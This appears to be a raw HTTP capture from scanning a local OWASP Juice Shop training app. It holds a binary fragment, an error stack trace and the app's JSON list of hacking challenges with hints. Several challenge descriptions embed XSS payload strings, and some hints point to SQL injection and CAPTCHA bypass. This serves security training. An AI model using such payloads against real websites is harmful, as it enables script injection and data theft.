xcbC}\xc7\x98\xe3k\xfdd\x7fP\x04\x04NT\xf7\xe4\xa7m^\x17\x82&\xc1\x1f\xe4\xd7>\xc1\xc0\xc0g~9\xf1e\xf7\x0f\xb3w\xbf\xf1\xea\x01\x00\xf0i\xf9\xc4b\xb2~\xf9_\xe9\n\xf0\xe7?\x03\xa1\xfcS\xf7\x834\x8eN!\xbfeJ\x01GL\x8d\xfe\x9c\xf9#a\x0e\xd3,\t\x15\xba\xcdR\xdb\xeb\xfbvm6Vq\xc1A9\x16\x17\xef\xbc\x1aVi`N\xc4\xbb\xbaX\xcem\x8e\x9dN\x94"\xea\xe4%4\x9a!\xee#\xf8\xad:D\xa5\x0b\xca\xa23\xde.\x00\x19\x8dmUx\x08y\xab\r\xa26r)\xd8\xf9\xa7te\x18\xa5\xcb\x1eZVD\xd0\x06\x00%\x08B\xdf\x19.g\xfd%\x005\xb0\x99\x86Y\xbc\xbc\xb6\x8fSob\xb8\xc5\x0e\xb0m\x92./\xd3`\\\xf6z\xd5\xa16e4f!\xb9\x0c`\xe9,\x1aJ\xc0M\x16~\x08\xcdvA\x1e*\xec6\x1f\x04\xc0\x89\xc3\xa8VG\xc7X\x1a\x18\xe3%\x0eq\x94\xdc\xe6\xa2\xda J\xc4\x16\xdbaD\x83\x15\xb7\xe3G\x85\xf1\xac\xde\xd2\xc6\xc7\x98\xd9bNR\xbaW\xfd\xc9\x83^;\x00\xc0\x1b\x8c\xa1\xf0\xf4\xa2d\'\xa2\xf3"\xb1\x8a\x00o\xabt\x06\xe6\x0f\x0cM\x0c`0%\x07\x0b\xc6\xab\xda\xb0U\xcf0\x11E\x87\xc6\xc6f\xc9\xb1\x08\xbc\'h\xd1`Qe7\xfa}\xf93\xf4fX\x0f\x0e\xd0<~\xea\xa8\xa3\xa2\xa6\xd8R\x11%\xcc\x13>y\x11\x91\x1d\xc9\xa2lKu\xe2\x13\x86\x8b\\\r:\xea\xf1\x8em\x03t\x98\x0c\xc7:\x01\xc9\xb1h\xbdF!\x03[i\x88b\xb5\xe9\xb1M;lO`\xac\x00\x8b\xcf\x9c&E\xf6\xbe\xd8\x1f\xb4h\x8f\xdc\xa6\x98+\xb4\xcc\x95\xf4\xdba&\xc4gPR\xc57\xb3!\x13\x1bG\x8e\xebd!]U\xc4\xf8\xb5\xc4\r\xec4\xd3\x93\x99\x1f\x8c\xce\x15\xa6\x00\x0e\xc5`(q\x1dDW09\xd3\xe8Z\xcf\x17,l\xa2\xfe\x8b\x9f\x9e\xc8(\xa2\x04\x86(\xeb\xd6\x9e\x1b\xbc\xe0g\x06!d=\\\x99\x02\xb6\xe5z\x9c\xa10^\x86\x1dY\x8d_I\x14iZ\xb1\xc4\xb8\x86\xf5\xe0\x17\x8d\x86\xd1R\xc7\xce\x9e\xa9\x0b\xc3\x06;\xb6~\xd8;\xa8Q\xd4\xc30h\x85w\xc3:\xc6\x02\xf8\x02G\x9f\x8e\xf8\x01\xbfv>\x9a\r"\x9d\xfb\x14\xedd\x16!\xee\x04\xa0\x97\xf8B\x07\xd4\xd9\x92\x90\xbf<\x10o\xd3\x1e\xc7~B~c\xe3*4\xeb,\x87\xea\x87\xfa\x15be\xbd3\x92\x0b\x80\x01\xc6\x93\xd8\x08\x89S}\xe8\'\xb4\xec\x06\x98\x85\x81\xba\xe8\xe2\xc8|\x14T]\xac\xaak\xa4OP\\\xd0\x1a\x08\xfb\x95\xc5\xbe\xd0,K\xe7T\x03i\x02-B%f\x01\xfd\xe0Z\x16^S*h\xf1\xa1j1\x0e\xb2\x07\xfc\x80\x0f\xf0g\xf1\t\xbfhFQ\x9dr\xee\x12\x92\xa9\x06~\x06\xe7\x1bu\xfdQ\x0cO\xfa\xad\xf9\xcb\xe3\x15#~4\x080\xb4\xa2d\xdb1\xacE\xc8\x1b\x12e\xd2d\x05\xbfI\xba\xae\x0e\xe4\x1e\xfb8\xb8\xed\xb2\xa9\xf0\xb7\x04~\xdb\xe3\xff\xa0\xc5\xf8};\x9b\xf3{Ct\x06\xf0\x9b%\xd3\xc3\x9f\x1f\xf3\x93\xd4\xf3c\xfe\xa2\x1d\xfc\xb1\x00-\xc7\xea\x81\xf7?\x16D\xf9\xc5\x97J0\xf4\xb3\xcd\x8e\x9d\xfbv[6o\x19R\xe7\xe7\xe6\xadV\xd7\xec\xd8\xb1y\xeb\x80N]\xb7\xbd/G]\xbeu\xab\xba\xa5F\xf6\x9c\xa2\x81\xf0\xd6\xc0\xee\x11\x1d\xf5w\x9d4l\x1a\xba\xe4\x96M\xe0_[\xd7\xb7c\xbb\xa6\xed`\xf3p!\xda4H\xf5"C\xefh\xf7C\x06XD9\xa6\xad.\x1e\x1b\x85o\xdf\xd2g\x17\x80\xb9\xe7kx`\xb4\xc7\x10 R\x1f%\xa7\xd8\xb8\ngtk\xcaf\x94\x06\xf8\xf9K\xf9\xee\xf2\x01'
GET http://localhost:3000/api HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/api/Challenges HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"134ae-58cY6XQoGh8ShaQy2ealRYuOSS0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"id":1,"key":"restfulXssChallenge","name":"API-only XSS","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> without using the frontend application at all.","difficulty":3,"hint":"You need to work with the server-side API directly. Try different HTTP verbs on different entities exposed through the API.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_without_using_the_frontend_application_at_all","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.108Z","updatedAt":"2024-03-05T22:20:43.108Z"},{"id":2,"key":"accessLogDisclosureChallenge","name":"Access Log","category":"Sensitive Data Exposure","tags":null,"description":"Gain access to any access log file of the server.","difficulty":4,"hint":"Who would want a server access log to be accessible through a web application?","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_gain_access_to_any_access_log_file_of_the_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.111Z","updatedAt":"2024-03-05T22:20:43.111Z"},{"id":3,"key":"registerAdminChallenge","name":"Admin Registration","category":"Improper Input Validation","tags":null,"description":"Register as a user with administrator privileges.","difficulty":3,"hint":"You have to assign the unassignable.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_register_as_a_user_with_administrator_privileges","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.112Z","updatedAt":"2024-03-05T22:20:43.112Z"},{"id":4,"key":"adminSectionChallenge","name":"Admin Section","category":"Broken Access Control","tags":"Good for Demos","description":"Access the administration section of the store.","difficulty":2,"hint":"It is just slightly harder to find than the score board link.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_access_the_administration_section_of_the_store","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":5,"key":"fileWriteChallenge","name":"Arbitrary File Write","category":"Vulnerable Components","tags":"Danger Zone,Prerequisite","description":"Overwrite the <a href=\\"/ftp/legal.md\\">Legal Information</a> file.","difficulty":6,"hint":"Look out for a tweet praising new functionality of the web shop. Then find a third party vulnerability associated with it.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_overwrite_the_legal_information_file","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":6,"key":"resetPasswordBjoernOwaspChallenge","name":"Bjoern\'s Favorite Pet","category":"Broken Authentication","tags":"OSINT","description":"Reset the password of Bjoern\'s OWASP account via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":3,"hint":"He might have trumpeted it on at least one occasion where a camera was running. Maybe elsewhere as well.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_the_password_of_bjoerns_owasp_account_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":7,"key":"tokenSaleChallenge","name":"Blockchain Hype","category":"Security through Obscurity","tags":"Contraption,Code Analysis,Web3","description":"Learn about the Token Sale before its official announcement.","difficulty":5,"hint":"The developers truly believe in \\"Security through Obscurity\\" over actual access restrictions.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_learn_about_the_token_sale_before_its_official_announcement","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.124Z","updatedAt":"2024-03-05T22:20:43.124Z"},{"id":8,"key":"nftUnlockChallenge","name":"NFT Takeover","category":"Sensitive Data Exposure","tags":"Contraption,Good for Demos,Web3","description":"Take over the wallet containing our official Soul Bound Token (NFT).","difficulty":2,"hint":"Find the seed phrase posted accidentally.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_take_over_the_wallet_containing_our_official_soul_bound_token","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.129Z","updatedAt":"2024-03-05T22:20:43.129Z"},{"id":9,"key":"nftMintChallenge","name":"Mint the Honey Pot","category":"Improper Input Validation","tags":"Web3,Internet Traffic","description":"Mint the Honey Pot NFT by gathering BEEs from the bee haven.","difficulty":3,"hint":"Discover NFT wonders among the captivating visual memories.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_mint_the_honey_pot_nft_by_gathering_bees_from_the_bee_haven","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.130Z","updatedAt":"2024-03-05T22:20:43.130Z"},{"id":10,"key":"web3WalletChallenge","name":"Wallet Depletion","category":"Miscellaneous","tags":"Web3,Internet Traffic","description":"Withdraw more ETH from the new wallet than you deposited.","difficulty":6,"hint":"Try to exploit the contract of the wallet.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_withdraw_more_eth_from_the_new_wallet_than_you_deposited","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.140Z","updatedAt":"2024-03-05T22:20:43.140Z"},{"id":11,"key":"web3SandboxChallenge","name":"Web3 Sandbox","category":"Broken Access Control","tags":"Web3","description":"Find an accidentally deployed code sandbox for writing smart contracts on the fly.","difficulty":1,"hint":"It is just as easy as finding the Score Board.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_find_an_accidentally_deployed_code_sandbox","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.144Z","updatedAt":"2024-03-05T22:20:43.144Z"},{"id":12,"key":"rceChallenge","name":"Blocked RCE DoS","category":"Insecure Deserialization","tags":"Danger Zone","description":"Perform a Remote Code Execution that would keep a less hardened application busy <em>forever</em>.","difficulty":5,"hint":"The feature you need to exploit for this challenge is not directly advertised anywhere.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/insecure-deserialization.html#_perform_a_remote_code_execution_that_would_keep_a_less_hardened_application_busy_forever","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.148Z","updatedAt":"2024-03-05T22:20:43.148Z"},{"id":13,"key":"captchaBypassChallenge","name":"CAPTCHA Bypass","category":"Broken Anti Automation","tags":"Brute Force","description":"Submit 10 or more customer feedbacks within 20 seconds.","difficulty":3,"hint":"After finding a CAPTCHA bypass, write a script that automates feedback submission. Or open many browser tabs and be really quick.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_submit_10_or_more_customer_feedbacks_within_20_seconds","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.148Z","updatedAt":"2024-03-05T22:20:43.148Z"},{"id":14,"key":"changePasswordBenderChallenge","name":"Change Bender\'s Password","category":"Broken Authentication","tags":null,"description":"Change Bender\'s password into <i>slurmCl4ssic</i> without using SQL Injection or Forgot Password.","difficulty":5,"hint":"In previous releases this challenge was wrongly accused of being based on CSRF.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_change_benders_password_into_slurmcl4ssic_without_using_sql_injection_or_forgot_password","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.156Z","updatedAt":"2024-03-05T22:20:43.156Z"},{"id":15,"key":"christmasSpecialChallenge","name":"Christmas Special","category":"Injection","tags":null,"description":"Order the Christmas special offer of 2014.","difficulty":4,"hint":"Find out how the application handles unavailable products and try to find a loophole.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_order_the_christmas_special_offer_of_2014","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.158Z","updatedAt":"2024-03-05T22:20:43.158Z"},{"id":16,"key":"usernameXssChallenge","name":"CSP Bypass","category":"XSS","tags":"Danger Zone","description":"Bypass the Content Security Policy and perform an XSS attack with <code><script>alert(`xss`)</script></code> on a legacy page within the application.","difficulty":4,"hint":"What is even \\"better\\" than a legacy page with a homegrown RegEx sanitizer? Having CSP injection issues on the exact same page as well!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_bypass_the_content_security_policy_and_perform_an_xss_attack_on_a_legacy_page","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.158Z","updatedAt":"2024-03-05T22:20:43.158Z"},{"id":17,"key":"persistedXssUserChallenge","name":"Client-side XSS Protection","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> bypassing a <i>client-side</i> security mechanism.","difficulty":3,"hint":"Only some input fields validate their input. Even less of these are persisted in a way where their content is shown on another screen.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_bypassing_a_client_side_security_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":18,"key":"directoryListingChallenge","name":"Confidential Document","category":"Sensitive Data Exposure","tags":"Good for Demos","description":"Access a confidential document.","difficulty":1,"hint":"Analyze and tamper with links in the application that deliver a file directly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_confidential_document","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":19,"key":"localXssChallenge","name":"DOM XSS","category":"XSS","tags":"Tutorial,Good for Demos","description":"Perform a <i>DOM</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code>.","difficulty":1,"hint":"Look for an input field where its content appears in the HTML when its form is submitted.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_dom_xss_attack","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":2,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":20,"key":"dbSchemaChallenge","name":"Database Schema","category":"Injection","tags":null,"description":"Exfiltrate the entire DB schema definition via SQL Injection.","difficulty":3,"hint":"Find out where this information could come from. Then craft a UNION SELECT attack string against an endpoint that offers an unnecessary way to filter data.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_exfiltrate_the_entire_db_schema_definition_via_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":21,"key":"deprecatedInterfaceChallenge","name":"Deprecated Interface","category":"Security Misconfiguration","tags":"Contraption,Prerequisite","description":"Use a deprecated B2B interface that was not properly shut down.","difficulty":2,"hint":"The developers who disabled the interface think they could go invisible by just closing their eyes.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_use_a_deprecated_b2b_interface_that_was_not_properly_shut_down","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":22,"key":"easterEggLevelOneChallenge","name":"Easter Egg","category":"Broken Access Control","tags":"Shenanigans,Contraption,Good for Demos","description":"Find the hidden <a href=\\"https://en.wikipedia.org/wiki/Easter_egg_(media)\\" target=\\"_blank\\">easter egg</a>.","difficulty":4,"hint":"If you solved one of the three file access challenges, you already know where to find the easter egg.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_find_the_hidden_easter_egg","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":23,"key":"emailLeakChallenge","name":"Email Leak","category":"Sensitive Data Exposure","tags":null,"description":"Perform an unwanted information disclosure by accessing data cross-domain.","difficulty":5,"hint":"Try to find and attack an endpoint that responds with user information. SQL Injection is not the solution here.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_perform_an_unwanted_information_disclosure_by_accessing_data_cross_domain","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":24,"key":"emptyUserRegistration","name":"Empty User Registration","category":"Improper Input Validation","tags":null,"description":"Register a user with an empty email and password.","difficulty":2,"hint":"Consider intercepting and playing with the request payload.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_register_a_user_account_with_an_empty_email_and_password","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":25,"key":"ephemeralAccountantChallenge","name":"Ephemeral Accountant","category":"Injection","tags":null,"description":"Log in with the (non-existing) accountant <i>acc0unt4nt@juice-sh.op</i> without ever registering that user.","difficulty":4,"hint":"Try to create the needed user \\"out of thin air\\".","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_the_non_existing_accountant_without_ever_registering_that_user","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":26,"key":"errorHandlingChallenge","name":"Error Handling","category":"Security Misconfiguration","tags":"Prerequisite","description":"Provoke an error that is neither very gracefully nor consistently handled.","difficulty":1,"hint":"Try to submit bad input to forms. Alternatively tamper with URL paths or parameters.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_provoke_an_error_that_is_neither_very_gracefully_nor_consistently_handled","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html","solved":true,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.176Z","updatedAt":"2024-03-05T22:26:53.651Z"},{"id":27,"key":"manipulateClockChallenge","name":"Expired Coupon","category":"Improper Input Validation","tags":null,"description":"Successfully redeem an expired campaign coupon code.","difficulty":4,"hint":"Try to identify past special event or holiday campaigns of the shop first.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_successfully_redeem_an_expired_campaign_coupon_code","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.176Z","updatedAt":"2024-03-05T22:20:43.176Z"},{"id":28,"key":"extraLanguageChallenge","name":"Extra Language","category":"Broken Anti Automation","tags":"Brute Force","description":"Retrieve the language file that never made it into production.","difficulty":5,"hint":"Brute force is not the only option for this challenge, but a perfectly viable one.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_retrieve_the_language_file_that_never_made_it_into_production","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":29,"key":"feedbackChallenge","name":"Five-Star Feedback","category":"Broken Access Control","tags":null,"description":"Get rid of all 5-star customer feedback.","difficulty":2,"hint":"Once you found admin section of the application, this challenge is almost trivial.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_get_rid_of_all_5_star_customer_feedback","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":30,"key":"forgedCouponChallenge","name":"Forged Coupon","category":"Cryptographic Issues","tags":"Good for Demos,Code Analysis","description":"Forge a coupon code that gives you a discount of at least 80%.","difficulty":6,"hint":"Try either a) a knowledgeable brute force attack or b) reverse engineering or c) some research in the cloud.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_forge_a_coupon_code_that_gives_you_a_discount_of_at_least_80","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":31,"key":"forgedFeedbackChallenge","name":"Forged Feedback","category":"Broken Access Control","tags":"Tutorial","description":"Post some feedback in another user\'s name.","difficulty":3,"hint":"You can solve this by tampering with the user interface or by intercepting the communication with the RESTful 